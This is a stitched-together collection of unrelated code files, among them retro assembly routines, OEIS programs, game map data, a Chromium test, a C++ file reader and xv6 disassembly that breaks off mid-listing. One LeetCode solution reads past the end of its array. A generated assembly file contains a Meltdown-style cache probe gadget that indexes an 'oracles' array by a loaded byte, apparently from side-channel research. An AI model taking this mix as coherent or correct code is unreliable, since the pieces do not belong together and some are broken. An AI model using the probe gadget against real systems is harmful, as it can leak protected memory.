<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="pid, stat_loc, options, usage"/> <%docstring> Invokes the syscall wait4. See 'man 2 wait4' for more information. Arguments: pid(pid_t): pid stat_loc(WAIT_STATUS): stat_loc options(int): options usage(rusage): usage </%docstring> ${syscall('SYS_wait4', pid, stat_loc, options, usage)}
; ; ; ZX Maths Routines ; ; 21/03/03 - Stefano Bodrato ; ; $Id: sinh.asm,v 1.5 2016/06/22 19:59:18 dom Exp $ ; ;double sinh(double) ; e = exp(x) ; ; return ((e-1.0/e)/2) ; IF FORzx INCLUDE "zxfp.def" ENDIF IF FORzx81 INCLUDE "81fp.def" ENDIF IF FORlambda INCLUDE "lambdafp.def" ENDIF SECTION code_fp PUBLIC sinh EXTERN fsetup1 EXTERN stkequ .sinh call fsetup1 defb ZXFP_EXP ; and at the beginning exp (x) defb ZXFP_DUPLICATE defb ZXFP_STK_ONE defb ZXFP_EXCHANGE defb ZXFP_DIVISION ; 1/e defb ZXFP_SUBTRACT defb ZXFP_STK_ONE ; STK_TWO :o) defb ZXFP_STK_ONE defb ZXFP_ADDITION IF FORlambda defb ZXFP_DIVISION + 128 ELSE defb ZXFP_DIVISION defb ZXFP_END_CALC ENDIF jp stkequ
; A026911: T(2n,n-2), T given by A026907. ; Submitted by Jon Maiga ; 67,348,1495,6108,24501,97456,385900,1524066,6009720,23675882,93226503,367005692,1444728537,5687662392,22395051912,88199397642,347448657492,1369107075762,5396498311992,21277355051610,83918011194996 mov $3,$0 mov $5,4 lpb $5 mov $0,$3 sub $5,1 add $0,$5 add $0,1 mov $2,$0 mul $0,2 sub $2,2 bin $0,$2 mul $0,2 sub $0,$6 mov $6,$5 mul $6,$0 add $4,$6 lpe mov $0,$4 div $0,2 sub $0,18
Route12_Object: db $43 ; border block db 4 ; warps warp 10, 15, 0, ROUTE_12_GATE_1F warp 11, 15, 1, ROUTE_12_GATE_1F warp 10, 21, 2, ROUTE_12_GATE_1F warp 11, 77, 0, ROUTE_12_SUPER_ROD_HOUSE db 2 ; signs sign 13, 13, 11 ; Route12Text11 sign 11, 63, 12 ; Route12Text12 db 10 ; objects object SPRITE_SNORLAX, 10, 62, STAY, DOWN, 1 ; person object SPRITE_FISHER2, 14, 31, STAY, LEFT, 2, OPP_FISHER, 3 object SPRITE_FISHER2, 5, 39, STAY, UP, 3, OPP_FISHER, 4 object SPRITE_BLACK_HAIR_BOY_1, 11, 92, STAY, LEFT, 4, OPP_JR_TRAINER_M, 9 object SPRITE_BLACK_HAIR_BOY_2, 14, 76, STAY, UP, 5, OPP_ROCKER, 2 object SPRITE_FISHER2, 12, 40, STAY, LEFT, 6, OPP_FISHER, 5 object SPRITE_FISHER2, 9, 52, STAY, RIGHT, 7, OPP_FISHER, 6 object SPRITE_FISHER2, 6, 87, STAY, DOWN, 8, OPP_FISHER, 11 object SPRITE_BALL, 14, 35, STAY, NONE, 9, TM_16 object SPRITE_BALL, 5, 89, STAY, NONE, 10, IRON ; warp-to warp_to 10, 15, ROUTE_12_WIDTH ; ROUTE_12_GATE_1F warp_to 11, 15, ROUTE_12_WIDTH ; ROUTE_12_GATE_1F warp_to 10, 21, ROUTE_12_WIDTH ; ROUTE_12_GATE_1F warp_to 11, 77, ROUTE_12_WIDTH ; ROUTE_12_SUPER_ROD_HOUSE
PokemonTower7F_Object: db $1 ; border block db 1 ; warps warp 9, 16, 1, POKEMON_TOWER_6F db 0 ; signs db 4 ; objects object SPRITE_ROCKET, 9, 11, STAY, RIGHT, 1, OPP_ROCKET, 19 object SPRITE_ROCKET, 12, 9, STAY, LEFT, 2, OPP_ROCKET, 20 object SPRITE_ROCKET, 9, 7, STAY, RIGHT, 3, OPP_ROCKET, 21 object SPRITE_MR_FUJI, 10, 3, STAY, DOWN, 4 ; person ; warp-to warp_to 9, 16, POKEMON_TOWER_7F_WIDTH ; POKEMON_TOWER_6F
#include "MBList.h" void MBList::begin(char *tmpBuf, uint16_t tmpBufLen, FS *fs, Print *stdErr) { m_tmpBuf = tmpBuf; m_tmpBufLen = tmpBufLen; m_stdErr = stdErr; m_fs = fs; } bool MBList::open(ListType type, const char *listName, const SortOrder *sortOrder) { if (!openListFile(type, listName, sortOrder)) return false; // Read the number of problems and store m_listFile.readStringUntil('\n').toCharArray(m_tmpBuf, m_tmpBufLen); m_listSize = strtol(m_tmpBuf, NULL, 10); if (m_listSize <= 0) return false; // Skip through all the problems for (long int l = m_listSize; l > 0; l--) m_listFile.readStringUntil('\n'); // Read and store the list of offsets pageOffsets.clear(); m_listFile.readStringUntil(':').toCharArray(m_tmpBuf, m_tmpBufLen); while (strlen(m_tmpBuf) > 0) { long int offset = strtol(m_tmpBuf, NULL, 10); if (offset > 0) pageOffsets.push_back(offset); m_listFile.readStringUntil(':').toCharArray(m_tmpBuf, m_tmpBufLen); } // Reopen the list m_listFile.close(); if (!openListFile(type, listName, sortOrder)) return false; m_listFile.readStringUntil('\n'); // Skip the first line (# of problems) if (!openDataFile(type, listName)) { m_listFile.close(); return false; } m_nextProbNum = 0; m_listHasNext = fetchNextProblem(); m_listType = type; if (listName != m_listName) { strncpy(m_listName, listName, MAX_LISTNAME_SIZE); m_listName[MAX_LISTNAME_SIZE] = '\0'; } m_sortOrder = sortOrder; return true; } bool MBList::isOpen() { return m_dataFile; } bool MBList::seekPage(uint16_t pageNum) { if (!m_dataFile) return false; if (pageNum >= pageOffsets.size()) return false; if (!m_listFile.seek(pageOffsets[pageNum], SeekSet)) return false; m_nextProbNum = pageNum * CONST_PAGE_SIZE; m_listHasNext = fetchNextProblem(); return true; } // m_nextProbNum needs to already be set to the new value before calling bool MBList::fetchNextProblem() { if (!m_dataFile) return false; if (m_nextProbNum == m_listSize) return false; if (MBData::readListEntryAndSeekInData(m_listFile, m_dataFile, m_tmpBuf, m_tmpBufLen) == -1) return false; m_dataFile.readStringUntil('\n').toCharArray(m_probBuf, sizeof(m_probBuf)); if (strlen(m_probBuf) == 0) return false; return true; } void MBList::close() { if (m_listFile) m_listFile.close(); if (m_dataFile) m_dataFile.close(); m_listSize = 0; } // Read next problem from the currently open list // The problem will be pre-fetched into buffer each time bool MBList::readNextProblem(Problem *prob) { if (!m_listHasNext) return false; // List exhausted if (!parseProblem(prob, m_probBuf)) return false; // Parse the one in cache m_nextProbNum++; m_listHasNext = fetchNextProblem(); // Fetch next one into cache return true; } uint16_t MBList::getPageNum() { return (m_nextProbNum - 1) / CONST_PAGE_SIZE; } // Read problems (up to max. # specified) from the open list into given array. Returns # problems read. uint8_t MBList::readNextProblems(Problem pArr[], uint8_t max) { uint8_t _t_uint8_t = 0; while (_t_uint8_t < max) { if (!readNextProblem(&(pArr[_t_uint8_t]))) { return _t_uint8_t; } _t_uint8_t++; } return _t_uint8_t; } uint8_t MBList::readNextPage(Problem pArr[]) { return readNextProblems(pArr, CONST_PAGE_SIZE); } uint8_t MBList::readPrevPage(Problem pArr[]) { if (!seekPage(getPageNum() - 1)) return 0; return readNextProblems(pArr, CONST_PAGE_SIZE); } uint8_t MBList::readPage(Problem pArr[], uint16_t pageNum) { if (!seekPage(pageNum)) return 0; return readNextProblems(pArr, CONST_PAGE_SIZE); } bool MBList::openListFile(ListType type, const char *listName, const SortOrder *sortOrder) { if (m_listFile) m_listFile.close(); if (!MBData::listFileNameToBuf(type, listName, sortOrder, m_tmpBuf, m_tmpBufLen)) return false; m_listFile = m_fs->open(m_tmpBuf); return m_listFile; } bool MBList::openDataFile(ListType type, const char *listName) { if (m_dataFile) m_dataFile.close(); if (!MBData::dataFileNameToBuf(type, listName, m_tmpBuf, m_tmpBufLen)) return false; m_dataFile = m_fs->open(m_tmpBuf); return m_dataFile; }
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/platform/geometry/float_quad.h" #include <limits> #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" namespace blink { TEST(FloatQuadTest, ToString) { FloatQuad quad(FloatPoint(2, 3), FloatPoint(5, 7), FloatPoint(11, 13), FloatPoint(17, 19)); EXPECT_EQ("2,3; 5,7; 11,13; 17,19", quad.ToString()); } TEST(FloatQuadTest, BoundingBox) { FloatQuad quad(FloatPoint(2, 3), FloatPoint(5, 7), FloatPoint(11, 13), FloatPoint(17, 19)); FloatRect rect = quad.BoundingBox(); EXPECT_EQ(rect.x(), 2); EXPECT_EQ(rect.y(), 3); EXPECT_EQ(rect.width(), 17 - 2); EXPECT_EQ(rect.height(), 19 - 3); } TEST(FloatQuadTest, BoundingBoxSaturateInf) { constexpr double inf = std::numeric_limits<double>::infinity(); FloatQuad quad(FloatPoint(-inf, 3), FloatPoint(5, inf), FloatPoint(11, 13), FloatPoint(17, 19)); FloatRect rect = quad.BoundingBox(); EXPECT_EQ(rect.x(), std::numeric_limits<int>::min()); EXPECT_EQ(rect.y(), 3.0f); EXPECT_EQ(rect.width(), 17.0f - std::numeric_limits<int>::min()); EXPECT_EQ(rect.height(), static_cast<float>(std::numeric_limits<int>::max()) - 3.0f); } TEST(FloatQuadTest, BoundingBoxSaturateLarge) { constexpr double large = std::numeric_limits<float>::max() * 4; FloatQuad quad(FloatPoint(-large, 3), FloatPoint(5, large), FloatPoint(11, 13), FloatPoint(17, 19)); FloatRect rect = quad.BoundingBox(); EXPECT_EQ(rect.x(), std::numeric_limits<int>::min()); EXPECT_EQ(rect.y(), 3.0f); EXPECT_EQ(rect.width(), 17.0f - std::numeric_limits<int>::min()); EXPECT_EQ(rect.height(), static_cast<float>(std::numeric_limits<int>::max()) - 3.0f); } TEST(FloatQuadTest, RectIntersectionIsInclusive) { // A rectilinear quad at (10, 10) with dimensions 10x10. FloatQuad quad(FloatRect(10, 10, 10, 10)); // A rect fully contained in the quad should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(11, 11, 8, 8))); // A point fully contained in the quad should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(11, 11, 0, 0))); // A rect that touches the quad only at the point (10, 10) should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(9, 9, 1, 1))); // A rect that touches the quad only on the left edge should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(9, 11, 1, 1))); // A rect that touches the quad only on the top edge should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(11, 9, 1, 1))); // A rect that touches the quad only on the right edge should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(20, 11, 1, 1))); // A rect that touches the quad only on the bottom edge should intersect. EXPECT_TRUE(quad.IntersectsRect(FloatRect(11, 20, 1, 1))); // A rect that is fully outside the quad should not intersect. EXPECT_FALSE(quad.IntersectsRect(FloatRect(8, 8, 1, 1))); // A point that is fully outside the quad should not intersect. EXPECT_FALSE(quad.IntersectsRect(FloatRect(9, 9, 0, 0))); } TEST(FloatQuadTest, CircleIntersectionIsInclusive) { // A rectilinear quad at (10, 10) with dimensions 10x10. FloatQuad quad(FloatRect(10, 10, 10, 10)); // A circle fully contained in the top-left of the quad should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(12, 12), 1)); // A point fully contained in the top-left of the quad should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(12, 12), 0)); // A circle that touches the left edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(9, 11), 1)); // A circle that touches the top edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(11, 9), 1)); // A circle that touches the right edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(21, 11), 1)); // A circle that touches the bottom edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(11, 21), 1)); // A point that touches the left edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(10, 11), 0)); // A point that touches the top edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(11, 10), 0)); // A point that touches the right edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(20, 11), 0)); // A point that touches the bottom edge should intersect. EXPECT_TRUE(quad.IntersectsCircle(FloatPoint(11, 20), 0)); // A circle that is fully outside the quad should not intersect. EXPECT_FALSE(quad.IntersectsCircle(FloatPoint(9, 9), 1)); // A point that is fully outside the quad should not intersect. EXPECT_FALSE(quad.IntersectsCircle(FloatPoint(9, 9), 0)); } } // namespace blink
; A062114: a(n) = 2*Fibonacci(n) - (1 - (-1)^n)/2. ; 0,1,2,3,6,9,16,25,42,67,110,177,288,465,754,1219,1974,3193,5168,8361,13530,21891,35422,57313,92736,150049,242786,392835,635622,1028457,1664080,2692537,4356618,7049155,11405774,18454929,29860704,48315633,78176338,126491971,204668310,331160281,535828592,866988873,1402817466,2269806339,3672623806,5942430145,9615053952,15557484097,25172538050,40730022147,65902560198,106632582345,172535142544,279167724889,451702867434,730870592323,1182573459758,1913444052081,3096017511840,5009461563921,8105479075762,13114940639683,21220419715446,34335360355129,55555780070576,89891140425705,145446920496282,235338060921987,380784981418270,616123042340257,996908023758528,1613031066098785,2609939089857314,4222970155956099,6832909245813414,11055879401769513,17888788647582928,28944668049352441,46833456696935370,75778124746287811,122611581443223182,198389706189510993,321001287632734176,519390993822245169,840392281454979346,1359783275277224515,2200175556732203862,3559958832009428377,5760134388741632240,9320093220751060617,15080227609492692858,24400320830243753475,39480548439736446334,63880869269980199809,103361417709716646144,167242286979696845953,270603704689413492098,437845991669110338051 seq $0,97133 ; 3*Fibonacci(n)+(-1)^n. mul $0,2 div $0,3
; A247619: Start with a single pentagon; at n-th generation add a pentagon at each expandable vertex; a(n) is the sum of all label values at n-th generation. (See comment for construction rules.) ; Submitted by Jamie Morken(s3) ; 1,6,16,36,66,116,186,296,446,676,986,1456,2086,3036,4306,6216,8766,12596,17706,25376,35606,50956,71426,102136,143086,204516,286426,409296,573126,818876,1146546,1638056,2293406,3276436,4587146,6553216,9174646,13106796 lpb $0 sub $0,1 add $2,1 add $1,$2 sub $1,$0 mul $1,2 trn $1,1 lpe mov $0,$1 mul $0,5 add $0,1
5A_Header: sHeaderInit ; Z80 offset is $C6CE sHeaderPatch 5A_Patches sHeaderTick $01 sHeaderCh $02 sHeaderSFX $80, $02, 5A_FM3, $00, $03 sHeaderSFX $80, $C0, 5A_PSG3, $00, $00 5A_FM3: sPatFM $00 ssModZ80 $01, $01, $FA, $00 dc.b nC1, $50 sStop 5A_PSG3: sNoisePSG $E7 sVolEnvPSG v0D dc.b nEb5, $08 5A_Loop1: dc.b sHold, $08 saVolPSG $01 sLoop $00, $0A, 5A_Loop1 sStop 5A_Patches: ; Patch $00 ; $38 ; $01, $33, $33, $02, $1F, $1F, $1F, $1F ; $11, $00, $10, $00, $00, $00, $00, $06 ; $FF, $0F, $1F, $0F, $00, $13, $10, $80 spAlgorithm $00 spFeedback $07 spDetune $00, $03, $03, $00 spMultiple $01, $03, $03, $02 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $11, $10, $00, $00 spSustainLv $0F, $01, $00, $00 spDecayRt $00, $00, $00, $06 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $00, $10, $13, $00
class Solution { public: int maxProduct(vector<int>& nums) { int i,j; int n=nums.size(); int max=nums[0]*nums[1]; for(i=0;i<n;i++) { if(nums[i]*nums[i+1]>max) { max=nums[i]*nums[i+1]; } } return max; } };
; double scalbn(double x, int n) SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sccz80_scalbn EXTERN am48_scalbn, cm48_sccz80p_dload cm48_sccz80_scalbn: pop af pop hl push hl push af exx ld hl,4 add hl,sp call cm48_sccz80p_dload jp am48_scalbn
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x10462, %rbx nop xor %r14, %r14 movl $0x61626364, (%rbx) nop nop nop cmp $17834, %rcx lea addresses_UC_ht+0x2862, %rsi lea addresses_normal_ht+0x13c62, %rdi sub %rbx, %rbx mov $80, %rcx rep movsl nop nop nop nop nop and $5319, %rbx lea addresses_D_ht+0x17fec, %rsi lea addresses_WC_ht+0xa2e2, %rdi nop nop nop cmp $4851, %r13 mov $1, %rcx rep movsl xor %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %rbp push %rbx push %rdi // Store lea addresses_A+0xea62, %rbp nop nop nop nop nop sub $57152, %r14 movw $0x5152, (%rbp) nop nop nop nop xor $38843, %r13 // Store lea addresses_UC+0x11a2, %rbx clflush (%rbx) nop nop nop dec %rdi movb $0x51, (%rbx) nop and $47330, %rbx // Load mov $0xaea, %r15 nop nop nop nop nop cmp %r13, %r13 movb (%r15), %r14b nop nop and $52336, %rdi // Store lea addresses_UC+0x1c62, %rbp xor %r13, %r13 mov $0x5152535455565758, %rbx movq %rbx, %xmm0 vmovntdq %ymm0, (%rbp) and %rbp, %rbp // Load lea addresses_A+0x6c62, %r11 nop nop nop nop nop xor $54127, %r14 movb (%r11), %r13b add %rbp, %rbp // Store lea addresses_A+0x6c62, %r14 clflush (%r14) nop sub $56618, %rbx movl $0x51525354, (%r14) nop nop nop nop and $29657, %r14 // Store mov $0xc62, %r11 nop nop nop nop nop add $62583, %r13 mov $0x5152535455565758, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%r11) add $3543, %rbx // Faulty Load lea addresses_A+0x6c62, %rdi nop nop add $62432, %rbp mov (%rdi), %r15w lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'58': 484} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
#pragma once struct viewport { using vector = std::array<float, 2>; viewport(int width, int height, float f, vector o = {}) : screen{width, height}, origin{o}, fov{f * width / height, f}, min{o[0] - 0.5f * fov[0], o[1] - 0.5f * fov[1]}, max{o[0] + 0.5f * fov[0], o[1] + 0.5f * fov[1]}, pixel_scale{height / f}, point_scale{f / height} {} vector pixels(vector point) const noexcept { return {(point[0] - min[0]) * pixel_scale, (max[1] - point[1]) * pixel_scale}; } vector points(vector pixel) const noexcept { return {pixel[0] * point_scale + min[0], max[1] - pixel[1] * point_scale}; } vector screen; vector origin; vector fov; vector min; vector max; float pixel_scale; float point_scale; };
# BYTE : i 0 # BYTE : j 1 # BYTE: size 2 # BYTE: hasTreasure 3 # BYTE: hasKey 4 # BYTE: hasBlock 5 # BYTE: hasSpike 6 # BYTE: spikeAlternates 7 # BYTE: hasMonster 8 # BYTE: hasPlayer 9 # BYTE: isGoal 10 # BYTE: isWalkable 11 # BYTE: mapPart 12 # TOTAL SIZE : 13 BYTES .data .include "resources/monsterImage.s" .include "resources/keyImage.s" .include "resources/spikeImage.s" .include "resources/blockImage.s" .include "resources/treasureImage.s" .include "resources/heroTest.data" .text # a0 = this # a1 = i # a2 = j # a3 = info cell_initialize: sb a1, 0(a0) sb a2, 1(a0) li t0, 28 sb t0, 2(a0) # Set all flags except mapPart to false. sb zero, 3(a0) sw zero, 4(a0) sw zero, 8(a0) li t0, 1 sb t0, 12(a0) li t1, 'p' bne a3, t1, cell_intiialize_if1 sb t0, 9(a0) sb t0, 11(a0) cell_intiialize_if1: li t1, 'g' bne a3, t1, cell_intiialize_if2 sb t0, 10(a0) cell_intiialize_if2: li t1, 's' bne a3, t1, cell_intiialize_if3 sb t0, 6(a0) sb t0, 11(a0) cell_intiialize_if3: li t1, 'a' bne a3, t1, cell_intiialize_if4 sb t0, 6(a0) sb t0, 11(a0) sb t0, 7(a0) cell_intiialize_if4: li t1, 'm' bne a3, t1, cell_intiialize_if5 sb t0, 8(a0) cell_intiialize_if5: li t1, 'b' bne a3, t1, cell_intiialize_if6 sb t0, 5(a0) cell_intiialize_if6: li t1, 'k' bne a3, t1, cell_intiialize_if7 sb t0, 4(a0) sb t0, 11(a0) cell_intiialize_if7: li t1, 't' bne a3, t1, cell_intiialize_if8 sb t0, 3(a0) cell_intiialize_if8: li t1, 'w' bne a3, t1, cell_intiialize_if9 sb t0, 11(a0) cell_intiialize_if9: li t1, 'z' bne a3, t1, cell_intiialize_if10 sb t0, 5(a0) sb t0, 6(a0) cell_intiialize_if10: li t1, '0' bne a3, t1, cell_intiialize_if11 sb zero, 12(a0) cell_intiialize_if11: ret # Draws rectangle with sides w and h at coordinate x, y with color "color". # a0 = x, a1 = y, a2 = w, a3 = h, a4 = color, a5 = frame # t0 = startAdress # t1 = columnCounter # t2 = lineCounter cell_drawRect: # t0 = frame == 0 ? 0xFF0 : 00xFF1 li t0, 0xFF0 add t0, t0, a5 slli t0, t0, 20 # t0 = screen + x add t0, t0, a0 # t1 = 320 * y li t1, 320 mul t1, t1, a1 # t0 = screen + x + 320*y add t0, t0, t1 mv t1, zero mv t2, zero cell_drawRect_loop: sw a4, 0(t0) addi t0, t0, 4 addi t1, t1, 4 blt t1, a2, cell_drawRect_loop addi t2, t2, 1 beq t2, a3, cell_drawRect_exit addi t0, t0, 320 sub t0, t0, a2 mv t1, zero j cell_drawRect_loop cell_drawRect_exit: ret # a0 = this # a1 = frame cell_display: addi sp, sp, -20 sw ra, 0(sp) sw a0, 4(sp) sw a1, 8(sp) # t1 = size lbu t1, 2(a0) # t2 = i lbu t2, 0(a0) # t2 = i * size mul t2, t2, t1 # t3 = j lbu t3, 1(a0) # t1 = j * size mul t1, t1, t3 # *(sp+12) = this.i * size sw t2, 12(sp) # *(sp+16) = this.j * size sw t1, 16(sp) # t0 = mapPart lbu t0, 12(a0) # if !mapPart: ret beq t0, zero, cell_display_if1 # t3 = this lw t3, 4(sp) lw a0, 12(sp) lw a5, 8(sp) lw a1, 16(sp) li a4, 0x4c4c4c4c lbu a2, 2(t3) mv a3, a2 call cell_drawRect # if hasMonster lw t0, 4(sp) lbu t0, 8(t0) beq t0, zero, cell_display_if2 # Draw monster. la a0, monsterImage lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage j cell_display_if1 cell_display_if2: # if hasKey lw t0, 4(sp) lbu t0, 4(t0) beq t0, zero, cell_display_if4 # Draw key la a0, keyImage lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage j cell_display_if1 cell_display_if4: # if hasBlock lw t0, 4(sp) lbu t0, 5(t0) beq t0, zero, cell_display_if3 # Draw block la a0, blockImage lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage cell_display_if3: # if hasSpike lw t0, 4(sp) lbu t0, 6(t0) beq t0, zero, cell_display_if5 # Draw spike la a0, spikeImage lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage j cell_display_if7 cell_display_if5: # if hasTreasure lw t0, 4(sp) lbu t0, 3(t0) beq t0, zero, cell_display_if6 # Draw treasure la a0, treasureImage lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage j cell_display_if1 cell_display_if6: # if hasGoal lw t0, 4(sp) lbu t0, 10(t0) beq t0, zero, cell_display_if7 # Draw goal li t0, 792 la t1, currentLevel lbu t1, 0(t1) mul t0, t0, t1 la a0, imagesLabel add a0, a0, t0 lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage j cell_display_if1 cell_display_if7: # if hasPlayer lw t0, 4(sp) lbu t0, 9(t0) beq t0, zero, cell_display_if1 # Draw player la a0, heroTest lw a1, 12(sp) lw a2, 16(sp) lw a3, 8(sp) call drawImage cell_display_if1: lw ra, 0(sp) addi sp, sp, 20 ret
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <cat>: char buf[512]; void cat(int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp int n; while((n = read(fd, buf, sizeof(buf))) > 0) 6: eb 1b jmp 23 <cat+0x23> write(1, buf, n); 8: 8b 45 f4 mov -0xc(%ebp),%eax b: 89 44 24 08 mov %eax,0x8(%esp) f: c7 44 24 04 80 0b 00 movl $0xb80,0x4(%esp) 16: 00 17: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1e: e8 71 03 00 00 call 394 <write> void cat(int fd) { int n; while((n = read(fd, buf, sizeof(buf))) > 0) 23: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 2a: 00 2b: c7 44 24 04 80 0b 00 movl $0xb80,0x4(%esp) 32: 00 33: 8b 45 08 mov 0x8(%ebp),%eax 36: 89 04 24 mov %eax,(%esp) 39: e8 4e 03 00 00 call 38c <read> 3e: 89 45 f4 mov %eax,-0xc(%ebp) 41: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 45: 7f c1 jg 8 <cat+0x8> write(1, buf, n); if(n < 0){ 47: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4b: 79 19 jns 66 <cat+0x66> printf(1, "cat: read error\n"); 4d: c7 44 24 04 bf 08 00 movl $0x8bf,0x4(%esp) 54: 00 55: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5c: e8 9a 04 00 00 call 4fb <printf> exit(); 61: e8 0e 03 00 00 call 374 <exit> } } 66: c9 leave 67: c3 ret 00000068 <main>: int main(int argc, char *argv[]) { 68: 55 push %ebp 69: 89 e5 mov %esp,%ebp 6b: 83 e4 f0 and $0xfffffff0,%esp 6e: 83 ec 20 sub $0x20,%esp int fd, i; if(argc <= 1){ 71: 83 7d 08 01 cmpl $0x1,0x8(%ebp) 75: 7f 11 jg 88 <main+0x20> cat(0); 77: c7 04 24 00 00 00 00 movl $0x0,(%esp) 7e: e8 7d ff ff ff call 0 <cat> exit(); 83: e8 ec 02 00 00 call 374 <exit> } for(i = 1; i < argc; i++){ 88: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp) 8f: 00 90: eb 6d jmp ff <main+0x97> if((fd = open(argv[i], 0)) < 0){ 92: 8b 44 24 1c mov 0x1c(%esp),%eax 96: c1 e0 02 shl $0x2,%eax 99: 03 45 0c add 0xc(%ebp),%eax 9c: 8b 00 mov 